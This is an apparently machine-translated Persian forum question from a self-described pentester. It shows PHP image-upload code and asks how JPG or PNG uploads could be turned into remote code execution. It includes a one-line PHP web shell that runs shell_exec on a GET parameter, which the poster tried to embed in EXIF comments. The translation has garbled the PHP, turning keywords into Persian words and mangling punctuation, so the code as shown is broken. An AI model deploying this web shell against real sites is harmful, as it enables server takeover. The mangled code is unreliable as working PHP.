در زیر کد من برای فایل آپلود است، اما فقط jpg، png و غیره و همچنین بررسی کنید که آیا نوع محتوای فایل درست است یا خیر. کد زیر را ببینید
؟ php
$ test = array ('image / jpeg'، 'image / png'، 'image / jpg')؛
$ test2 = @ $ _ FILES ['filename']؛
$ test3 = array ('png'، 'jpg'، 'jpeg')؛
$ ut = pathinfo ($ test2 ['name']، PATHINFO_EXTENSION)؛
$ original_path = "uploadedfiles /"؛
// مسیر جدید uploadfile / filename.extension
$ original_path1 = $ original_path.basename ($ test2 ['name'])؛
$ original_path2 = "C: / xampp / htdocs / demo / $ original_path1"؛
$ resultpath = "F: /". basename ($ test2 ['name'])؛
اگر (isset ($ test2))
{
اگر (in_array ($ test2 ['type']، $ test))
{
اگر (in_array ($ ut، $ test3))
{
اگر (move_uploaded_file ($ test2 ["tmp_name"]، $ original_path1)) {
echo "فایل" .basename ($ test2 ['name']) "با موفقیت آپلود شده است"
"؛
}
چیز دیگری
{
echo "خطا در آپلود فایل"؛
}
}
چیز دیگری
{
echo "فرمت فایل نامعتبر"؛
}
}
چیز دیگری
{
echo "فایل نامعتبر محتوای نوع"؛
}
}
چیز دیگری
{
echo "پارامتر نام فایل کجا است؟ برو و درخواست دیگری را با پارامتر نام فایل"؛
}
؟>
اکنون همه چیزهایی که من انجام می دهم فقط در مورد "چگونه JPG، فایل PNG را می توان برای دریافت RCE مورد استفاده قرار گرفت"
من سعی می کنم توضیحات و اظهار نظر کاربر exif header را از طریق این وب سایت با استفاده از این بار.
<؟ if ($ _ GET ['r0ng']) {echo "". shell_exec ($ _ GET ["r0ng"])؛}؟>
اما شکست.
بنابراین، به عنوان یک پنتاستر چه می توانیم چیزهای دیگر را امتحان کنیم؟ من مطمئن هستم که چیزی مهم را از دست می دهم اما چه؟